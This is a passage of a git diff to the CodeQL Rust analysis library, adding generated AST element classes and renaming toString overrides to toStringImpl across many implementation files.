diff --git a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll
new file mode 100644
index 000000000000..1ce9cd0c615c
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll
@@ -0,0 +1,18 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructExprFieldList`.
+ */
+
+private import internal.StructExprFieldListImpl
+import codeql.rust.elements.AstNode
+import codeql.rust.elements.Attr
+import codeql.rust.elements.Expr
+import codeql.rust.elements.StructExprField
+
+/**
+ * A StructExprFieldList. For example:
+ * ```rust
+ * todo!()
+ * ```
+ */
+final class StructExprFieldList = Impl::StructExprFieldList;
diff --git a/rust/ql/lib/codeql/rust/elements/StructField.qll b/rust/ql/lib/codeql/rust/elements/StructField.qll
new file mode 100644
index 000000000000..157849d45a69
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructField.qll
@@ -0,0 +1,20 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructField`.
+ */
+
+private import internal.StructFieldImpl
+import codeql.rust.elements.AstNode
+import codeql.rust.elements.Attr
+import codeql.rust.elements.Expr
+import codeql.rust.elements.Name
+import codeql.rust.elements.TypeRepr
+import codeql.rust.elements.Visibility
+
+/**
+ * A StructField. For example:
+ * ```rust
+ * todo!()
+ * ```
+ */
+final class StructField = Impl::StructField;
diff --git a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll
new file mode 100644
index 000000000000..6eee3bd61a89
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll
@@ -0,0 +1,16 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructFieldList`.
+ */
+
+private import internal.StructFieldListImpl
+import codeql.rust.elements.FieldList
+import codeql.rust.elements.StructField
+
+/**
+ * A field list of a struct expression. For example:
+ * ```rust
+ * todo!()
+ * ```
+ */
+final class StructFieldList = Impl::StructFieldList;
diff --git a/rust/ql/lib/codeql/rust/elements/StructPat.qll b/rust/ql/lib/codeql/rust/elements/StructPat.qll
new file mode 100644
index 000000000000..851c0e3e282c
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructPat.qll
@@ -0,0 +1,20 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructPat`.
+ */
+
+private import internal.StructPatImpl
+import codeql.rust.elements.Pat
+import codeql.rust.elements.PathAstNode
+import codeql.rust.elements.StructPatFieldList
+
+/**
+ * A struct pattern. For example:
+ * ```rust
+ * match x {
+ *     Foo { a: 1, b: 2 } => "ok",
+ *     Foo { .. } => "fail",
+ * }
+ * ```
+ */
+final class StructPat = Impl::StructPat;
diff --git a/rust/ql/lib/codeql/rust/elements/StructPatField.qll b/rust/ql/lib/codeql/rust/elements/StructPatField.qll
new file mode 100644
index 000000000000..f8584d6e4f8c
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructPatField.qll
@@ -0,0 +1,18 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructPatField`.
+ */
+
+private import internal.StructPatFieldImpl
+import codeql.rust.elements.AstNode
+import codeql.rust.elements.Attr
+import codeql.rust.elements.NameRef
+import codeql.rust.elements.Pat
+
+/**
+ * A field in a struct pattern. For example `a: 1` in:
+ * ```rust
+ * let Foo { a: 1, b: 2 } = foo;
+ * ```
+ */
+final class StructPatField = Impl::StructPatField;
diff --git a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll
new file mode 100644
index 000000000000..3ed30ea769bb
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll
@@ -0,0 +1,17 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructPatFieldList`.
+ */
+
+private import internal.StructPatFieldListImpl
+import codeql.rust.elements.AstNode
+import codeql.rust.elements.RestPat
+import codeql.rust.elements.StructPatField
+
+/**
+ * A StructPatFieldList. For example:
+ * ```rust
+ * todo!()
+ * ```
+ */
+final class StructPatFieldList = Impl::StructPatFieldList;
diff --git a/rust/ql/lib/codeql/rust/elements/TypeAlias.qll b/rust/ql/lib/codeql/rust/elements/TypeAlias.qll
index a3bd36bf7288..6cccf6a24003 100644
--- a/rust/ql/lib/codeql/rust/elements/TypeAlias.qll
+++ b/rust/ql/lib/codeql/rust/elements/TypeAlias.qll
@@ -16,9 +16,14 @@ import codeql.rust.elements.Visibility
 import codeql.rust.elements.WhereClause
 
 /**
- * A TypeAlias. For example:
+ * A type alias. For example:
  * ```rust
- * todo!()
+ * type Point = (u8, u8);
+ *
+ * trait Trait {
+ *     type Output;
+ * //  ^^^^^^^^^^^
+ * }
  * ```
  */
 final class TypeAlias = Impl::TypeAlias;
diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll
index 38a96aed38e3..a9edce9d2fed 100644
--- a/rust/ql/lib/codeql/rust/elements/Union.qll
+++ b/rust/ql/lib/codeql/rust/elements/Union.qll
@@ -8,7 +8,8 @@ import codeql.rust.elements.Attr
 import codeql.rust.elements.GenericParamList
 import codeql.rust.elements.Item
 import codeql.rust.elements.Name
-import codeql.rust.elements.RecordFieldList
+import codeql.rust.elements.StructFieldList
+import codeql.rust.elements.VariantDef
 import codeql.rust.elements.Visibility
 import codeql.rust.elements.WhereClause
 
diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll
index 658143dbfa21..ab9d391f44ac 100644
--- a/rust/ql/lib/codeql/rust/elements/Variant.qll
+++ b/rust/ql/lib/codeql/rust/elements/Variant.qll
@@ -9,6 +9,7 @@ import codeql.rust.elements.Attr
 import codeql.rust.elements.Expr
 import codeql.rust.elements.FieldList
 import codeql.rust.elements.Name
+import codeql.rust.elements.VariantDef
 import codeql.rust.elements.Visibility
 
 /**
diff --git a/rust/ql/lib/codeql/rust/elements/VariantDef.qll b/rust/ql/lib/codeql/rust/elements/VariantDef.qll
new file mode 100644
index 000000000000..bafb396c29da
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/VariantDef.qll
@@ -0,0 +1,9 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `VariantDef`.
+ */
+
+private import internal.VariantDefImpl
+import codeql.rust.elements.AstNode
+
+final class VariantDef = Impl::VariantDef;
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArrayListExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArrayListExprImpl.qll
index 8b22613dca3d..2f7b235f3236 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ArrayListExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ArrayListExprImpl.qll
@@ -22,6 +22,6 @@ module Impl {
    * ```
    */
   class ArrayListExpr extends Generated::ArrayListExpr {
-    override string toString() { result = "[...]" }
+    override string toStringImpl() { result = "[...]" }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArrayRepeatExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArrayRepeatExprImpl.qll
index 66e83a6badbb..5eb80cff113b 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ArrayRepeatExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ArrayRepeatExprImpl.qll
@@ -21,7 +21,7 @@ module Impl {
    * ```
    */
   class ArrayRepeatExpr extends Generated::ArrayRepeatExpr {
-    override string toString() {
+    override string toStringImpl() {
       result =
         "[" + this.getRepeatOperand().toAbbreviatedString() + "; " +
           this.getRepeatLength().toAbbreviatedString() + "]"
diff --git a/rust/ql/lib/codeql/rust/elements/internal/AwaitExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AwaitExprImpl.qll
index d9aa0f8bf448..afaea37e4df5 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/AwaitExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/AwaitExprImpl.qll
@@ -22,6 +22,6 @@ module Impl {
    * ```
    */
   class AwaitExpr extends Generated::AwaitExpr {
-    override string toString() { result = "await " + this.getExpr().toAbbreviatedString() }
+    override string toStringImpl() { result = "await " + this.getExpr().toAbbreviatedString() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/BecomeExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BecomeExprImpl.qll
index ded01ec4ef83..4844e5148285 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/BecomeExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/BecomeExprImpl.qll
@@ -25,6 +25,6 @@ module Impl {
    * ```
    */
   class BecomeExpr extends Generated::BecomeExpr {
-    override string toString() { result = "become " + this.getExpr().toAbbreviatedString() }
+    override string toStringImpl() { result = "become " + this.getExpr().toAbbreviatedString() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll
index 101295e5dc84..6aac95fcacee 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/BinaryExprImpl.qll
@@ -23,6 +23,6 @@ module Impl {
    * ```
    */
   class BinaryExpr extends Generated::BinaryExpr {
-    override string toString() { result = "... " + this.getOperatorName() + " ..." }
+    override string toStringImpl() { result = "... " + this.getOperatorName() + " ..." }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/BoxPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BoxPatImpl.qll
index 45870d14297b..94f528f4790b 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/BoxPatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/BoxPatImpl.qll
@@ -22,6 +22,6 @@ module Impl {
    * ```
    */
   class BoxPat extends Generated::BoxPat {
-    override string toString() { result = "box " + this.getPat().toAbbreviatedString() }
+    override string toStringImpl() { result = "box " + this.getPat().toAbbreviatedString() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/BreakExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/BreakExprImpl.qll
index d156e207150c..e884eb9277c2 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/BreakExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/BreakExprImpl.qll
@@ -104,14 +104,14 @@ module Impl {
       )
     }
 
-    override string toString() {
+    override string toStringImpl() {
       result = strictconcat(int i | | this.toStringPart(i), " " order by i)
     }
 
     private string toStringPart(int index) {
       index = 0 and result = "break"
       or
-      index = 1 and result = this.getLifetime().toString()
+      index = 1 and result = this.getLifetime().toStringImpl()
       or
       index = 2 and result = this.getExpr().toAbbreviatedString()
     }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll
index e93abe999d26..c916b717bf65 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll
@@ -12,11 +12,7 @@ private import codeql.rust.elements.Resolvable
  * be referenced directly.
  */
 module Impl {
-  private import codeql.rust.elements.internal.CallableImpl::Impl
-  private import codeql.rust.elements.internal.MethodCallExprImpl::Impl
-  private import codeql.rust.elements.internal.CallExprImpl::Impl
-  private import codeql.rust.elements.internal.PathExprImpl::Impl
-  private import codeql.rust.elements.internal.PathResolution
+  private import rust
 
   pragma[nomagic]
   Resolvable getCallResolvable(CallExprBase call) {
@@ -30,14 +26,7 @@ module Impl {
    * A function or method call expression. See `CallExpr` and `MethodCallExpr` for further details.
    */
   class CallExprBase extends Generated::CallExprBase {
-    /**
-     * Gets the target callable of this call, if a unique such target can
-     * be statically resolved.
-     */
-    Callable getStaticTarget() {
-      getCallResolvable(this).resolvesAsItem(result)
-      or
-      result = resolvePath(this.(CallExpr).getFunction().(PathExpr).getPath())
-    }
+    /** Gets the static target of this call, if any. */
+    Callable getStaticTarget() { none() } // overridden by subclasses, but cannot be made abstract
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll
index 116bb3c7d582..944185cf122e 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll
@@ -13,7 +13,15 @@ private import codeql.rust.elements.PathExpr
  */
 module Impl {
   private import rust
-  private import PathResolution as PathResolution
+  private import codeql.rust.internal.PathResolution as PathResolution
+
+  pragma[nomagic]
+  Path getFunctionPath(CallExpr ce) { result = ce.getFunction().(PathExpr).getPath() }
+
+  pragma[nomagic]
+  PathResolution::ItemNode getResolvedFunction(CallExpr ce) {
+    result = PathResolution::resolvePath(getFunctionPath(ce))
+  }
 
   // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
@@ -26,11 +34,19 @@ module Impl {
    * ```
    */
   class CallExpr extends Generated::CallExpr {
-    override string toString() { result = this.getFunction().toAbbreviatedString() + "(...)" }
+    override string toStringImpl() { result = this.getFunction().toAbbreviatedString() + "(...)" }
+
+    override Callable getStaticTarget() { result = getResolvedFunction(this) }
+
+    /** Gets the struct that this call resolves to, if any. */
+    Struct getStruct() { result = getResolvedFunction(this) }
+
+    /** Gets the variant that this call resolves to, if any. */
+    Variant getVariant() { result = getResolvedFunction(this) }
 
     pragma[nomagic]
-    private PathResolution::ItemNode getResolvedFunction(int pos) {
-      result = PathResolution::resolvePath(this.getFunction().(PathExpr).getPath()) and
+    private PathResolution::ItemNode getResolvedFunctionAndPos(int pos) {
+      result = getResolvedFunction(this) and
       exists(this.getArgList().getArg(pos))
     }
 
@@ -42,7 +58,7 @@ module Impl {
      */
     pragma[nomagic]
     TupleField getTupleField(int pos) {
-      exists(PathResolution::ItemNode i | i = this.getResolvedFunction(pos) |
+      exists(PathResolution::ItemNode i | i = this.getResolvedFunctionAndPos(pos) |
         result.isStructField(i, pos) or
         result.isVariantField(i, pos)
       )
diff --git a/rust/ql/lib/codeql/rust/elements/internal/CastExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CastExprImpl.qll
index b074e7379318..e3245102e9f3 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/CastExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/CastExprImpl.qll
@@ -19,7 +19,7 @@ module Impl {
    * ```
    */
   class CastExpr extends Generated::CastExpr {
-    override string toString() {
+    override string toStringImpl() {
       result =
         this.getExpr().toAbbreviatedString() + " as " + this.getTypeRepr().toAbbreviatedString()
     }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureExprImpl.qll
index 17e373290b50..e96ae47e3015 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ClosureExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureExprImpl.qll
@@ -25,6 +25,6 @@ module Impl {
    * ```
    */
   class ClosureExpr extends Generated::ClosureExpr {
-    override string toString() { result = "|...| " + this.getBody().toAbbreviatedString() }
+    override string toStringImpl() { result = "|...| " + this.getBody().toAbbreviatedString() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/CommentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CommentImpl.qll
index 85b2a4d80d31..77972720b02f 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/CommentImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/CommentImpl.qll
@@ -20,7 +20,7 @@ module Impl {
    * ```
    */
   class Comment extends Generated::Comment {
-    override string toString() {
+    override string toStringImpl() {
       result = this.getCommentMarker() + "..." + this.getCommentEndMarker()
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ContinueExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ContinueExprImpl.qll
index ecfcd1a48429..4f4bac4b985e 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ContinueExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ContinueExprImpl.qll
@@ -49,7 +49,7 @@ module Impl {
    * ```
    */
   class ContinueExpr extends Generated::ContinueExpr {
-    override string toString() {
+    override string toStringImpl() {
       result = strictconcat(int i | | this.toStringPart(i), " " order by i)
     }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateConstructor.qll
new file mode 100644
index 000000000000..25a5c4ce8a47
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/CrateConstructor.qll
@@ -0,0 +1,14 @@
+// generated by codegen, remove this comment if you wish to edit this file
+/**
+ *  This module defines the hook used internally to tweak the characteristic predicate of
+ *  `Crate` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Raw
+
+/**
+ *  The characteristic predicate of `Crate` synthesized instances.
+ *  INTERNAL: Do not use.
+ */
+predicate constructCrate(Raw::Crate id) { any() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll
new file mode 100644
index 000000000000..d8321fce4bf4
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll
@@ -0,0 +1,72 @@
+/**
+ * This module provides a hand-modifiable wrapper around the generated class `Crate`.
+ *
+ * INTERNAL: Do not use.
+ */
+
+private import codeql.rust.elements.internal.generated.Crate
+
+/**
+ * INTERNAL: This module contains the customizable definition of `Crate` and should not
+ * be referenced directly.
+ */
+module Impl {
+  private import rust
+  private import codeql.rust.elements.internal.NamedCrate
+  private import codeql.rust.internal.PathResolution
+
+  class Crate extends Generated::Crate {
+    override string toStringImpl() {
+      result = strictconcat(int i | | this.toStringPart(i) order by i)
+    }
+
+    private string toStringPart(int i) {
+      i = 0 and result = "Crate("
+      or
+      i = 1 and result = this.getName()
+      or
+      i = 2 and result = "@"
+      or
+      i = 3 and result = this.getVersion()
+      or
+      i = 4 and result = ")"
+    }
+
+    /**
+     * Gets the dependency named `name`, if any.
+     *
+     * `name` may be different from the name of the crate, when the dependency has been
+     * renamed in the `Cargo.toml` file, for example in
+     *
+     * ```yml
+     * [dependencies]
+     * my_serde = {package = "serde", version = "1.0.217"}
+     * ```
+     *
+     * the name of the dependency is `my_serde`, but the name of the crate is `serde`.
+     */
+    pragma[nomagic]
+    Crate getDependency(string name) {
+      exists(NamedCrate c |
+        c = this.getANamedDependency() and
+        result = c.getCrate() and
+        name = c.getName()
+      )
+    }
+
+    /**
+     * Gets any dependency of this crate.
+     */
+    Crate getADependency() { result = this.getDependency(_) }
+
+    /** Gets the source file that defines this crate, if any. */
+    SourceFile getSourceFile() { result.getFile() = this.getModule().getFile() }
+
+    /**
+     * Gets a source file that belongs to this crate, if any.
+     */
+    SourceFile getASourceFile() { result = this.(CrateItemNode).getASourceFile() }
+
+    override Location getLocation() { result = this.getModule().getLocation() }
+  }
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll
index 9307a567b6e1..75de7703df02 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ElementImpl.qll
@@ -12,13 +12,13 @@ private import codeql.rust.elements.internal.generated.Element
  */
 module Impl {
   class Element extends Generated::Element {
-    override string toString() { result = this.getAPrimaryQlClass() }
+    override string toStringImpl() { result = this.getAPrimaryQlClass() }
 
     /**
+     * INTERNAL: Do not use.
+     *
      * Returns a string suitable to be inserted into the name of the parent. Typically `"..."`,
      * but may be overridden by subclasses.
-     *
-     * INTERNAL: Do not use.
      */
     string toAbbreviatedString() { result = "..." }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll
index 0299ce9f05e6..a298aa7319f2 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll
@@ -19,6 +19,6 @@ module Impl {
    * ```
    */
   class Enum extends Generated::Enum {
-    override string toString() { result = "enum " + this.getName().getText() }
+    override string toStringImpl() { result = "enum " + this.getName().getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExtractorStepImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExtractorStepImpl.qll
index 0f98299c5754..8e62dab3df39 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/ExtractorStepImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/ExtractorStepImpl.qll
@@ -12,7 +12,7 @@ private import codeql.rust.elements.internal.generated.ExtractorStep
  */
 module Impl {
   class ExtractorStep extends Generated::ExtractorStep {
-    override string toString() {
+    override string toStringImpl() {
       result = this.getAction() + "(" + this.getFile().getAbsolutePath() + ")"
       or
       not this.hasFile() and result = this.getAction()
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll
index b3cd63b79229..2c037aa475ab 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FieldExprImpl.qll
@@ -11,6 +11,9 @@ private import codeql.rust.elements.internal.generated.FieldExpr
  * be referenced directly.
  */
 module Impl {
+  private import rust
+  private import codeql.rust.internal.TypeInference as TypeInference
+
   // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
    * A field access expression. For example:
@@ -19,10 +22,16 @@ module Impl {
    * ```
    */
   class FieldExpr extends Generated::FieldExpr {
-    override string toString() {
+    /** Gets the record field that this access references, if any. */
+    StructField getStructField() { result = TypeInference::resolveStructFieldExpr(this) }
+
+    /** Gets the tuple field that this access references, if any. */
+    TupleField getTupleField() { result = TypeInference::resolveTupleFieldExpr(this) }
+
+    override string toStringImpl() {
       exists(string abbr, string name |
-        abbr = this.getExpr().toAbbreviatedString() and
-        name = this.getNameRef().getText() and
+        abbr = this.getContainer().toAbbreviatedString() and
+        name = this.getIdentifier().getText() and
         if abbr = "..." then result = "... ." + name else result = abbr + "." + name
       )
     }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll
index 8d7186484103..1af239797c0f 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll
@@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.FieldList
  */
 module Impl {
   /**
-   * A FieldList. For example:
+   * A field of a variant. For example:
    * ```rust
    * todo!()
    * ```
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FormatArgumentImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FormatArgumentImpl.qll
index 6719d9d8cb3c..3ce8bf00304c 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FormatArgumentImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FormatArgumentImpl.qll
@@ -36,7 +36,7 @@ module Impl {
 
     FormatArgument() { this = Synth::TFormatArgument(parent, index, kind, name, _, offset) }
 
-    override string toString() { result = name }
+    override string toStringImpl() { result = name }
 
     override Format getParent() { result = Synth::TFormat(parent, index, _, _) }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FormatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FormatImpl.qll
index 58ae2cfe7920..ffb7b445a3ef 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FormatImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FormatImpl.qll
@@ -36,7 +36,7 @@ module Impl {
 
     Format() { this = Synth::TFormat(parent, index, text, offset) }
 
-    override string toString() { result = text }
+    override string toStringImpl() { result = text }
 
     override FormatArgsExpr getParent() { result = Synth::convertFormatArgsExprFromRaw(parent) }
 
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessConstructor.qll b/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessConstructor.qll
index 7682d14ce46c..40cb174a0710 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessConstructor.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessConstructor.qll
@@ -17,17 +17,13 @@ predicate constructFormatTemplateVariableAccess(Raw::FormatArgsExpr parent, int
   unboundNamedFormatArgument(parent, index, kind, _)
 }
 
-/**
- * A named format argument for which no binding is found in the parent `FormatArgsExpr::getArg(_)`.
- * INTERNAL: Do not use.
- */
-predicate unboundNamedFormatArgument(
-  Raw::FormatArgsExpr parent, int index, int kind, NamedFormatArgument arg
+pragma[nomagic]
+private predicate formatArgsHasArg(
+  Raw::FormatArgsExpr parent, NamedFormatArgument arg, string name, int index, int kind
 ) {
-  exists(Format format, string name |
-    not parent.getArg(_).getName().getText() = name and
+  exists(Format format |
+    parent = Synth::convertFormatArgsExprToRaw(format.getParent()) and
     name = arg.getName() and
-    Synth::convertFormatArgsExprToRaw(format.getParent()) = parent and
     format.getIndex() = index
   |
     arg = format.getArgumentRef() and kind = 0
@@ -37,3 +33,21 @@ predicate unboundNamedFormatArgument(
     arg = format.getPrecisionArgument() and kind = 2
   )
 }
+
+pragma[nomagic]
+private predicate formatArgsHasArgName(Raw::FormatArgsExpr parent, string name) {
+  parent.getArg(_).getName().getText() = name
+}
+
+/**
+ * A named format argument for which no binding is found in the parent `FormatArgsExpr::getArg(_)`.
+ * INTERNAL: Do not use.
+ */
+predicate unboundNamedFormatArgument(
+  Raw::FormatArgsExpr parent, int index, int kind, NamedFormatArgument arg
+) {
+  exists(string name |
+    formatArgsHasArg(parent, arg, name, index, kind) and
+    not formatArgsHasArgName(parent, name)
+  )
+}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessImpl.qll
index cb17fa523617..adb12a359316 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FormatTemplateVariableAccessImpl.qll
@@ -29,7 +29,7 @@ module Impl {
 
     override Location getLocation() { result = argument.getLocation() }
 
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
 
     /** Gets the name of the variable */
     string getName() { result = argument.getName() }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll
index 791cf4f9d7fc..ca019bd01e22 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll
@@ -25,6 +25,6 @@ module Impl {
    * ```
    */
   class Function extends Generated::Function {
-    override string toString() { result = "fn " + this.getName().getText() }
+    override string toStringImpl() { result = "fn " + this.getName().getText() }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll
index a701801b68cf..eaba0f7ff6e8 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll
@@ -11,6 +11,8 @@ private import codeql.rust.elements.internal.generated.GenericArgList
  * be referenced directly.
  */
 module Impl {
+  private import rust
+
   // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
    * The base class for generic arguments.
@@ -19,8 +21,21 @@ module Impl {
    * ```
    */
   class GenericArgList extends Generated::GenericArgList {
-    override string toString() { result = this.toAbbreviatedString() }
+    override string toStringImpl() { result = this.toAbbreviatedString() }
 
     override string toAbbreviatedString() { result = "<...>" }
+
+    /** Gets the `i`th type argument of this list. */
+    TypeRepr getTypeArg(int i) {
+      result =
+        rank[i + 1](TypeRepr res, int j |
+          res = this.getGenericArg(j).(TypeArg).getTypeRepr()
+        |
+          res order by j
+        )
+    }
+
+    /** Gets a type argument of this list. */
+    TypeRepr getATypeArg() { result = this.getTypeArg(_) }
   }
 }
diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll
index a9e9004e4c40..95fcc406adc7 100644
--- a/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll
+++ b/rust/ql/lib/codeql/rust/elements/internal/GenericParamListImpl.qll
@@ -1,4 +1,3 @@
-// generated by codegen, remove this comment if you wish to edit this file
 /**
  * This module provides a hand-modifiable wrapper around the generated class `GenericParamList`.
  *
@@ -12,11 +11,29 @@ private import codeql.rust.elements.internal.generated.GenericParamList
  * be referenced directly.
  */
 module Impl {
+  private import rust
+
+  // the following QLdoc is generated: if you need to edit it, do it in the schema file
   /**
-   * A GenericParamList. For example:
+   * A list of generic parameters. For example:
    * ```rust
-   * todo!()
+   * fn f<A, B>(a: A, b: B) {}
+   * //  ^^^^^^
+   * type Foo<T1, T2> = (T1, T2);
+   * //      ^^^^^^^^
    * ```
    */
-  class GenericParamList extends Generated::GenericParamList { }
+  class GenericParamList extends Generated::GenericParamList {
+    override string toStringImpl() { result = this.toAbbreviatedString() }
+
+    override string toAbbreviatedString() { result = "<...>" }
+
+    /** Gets the `i`th type parameter of this list. */
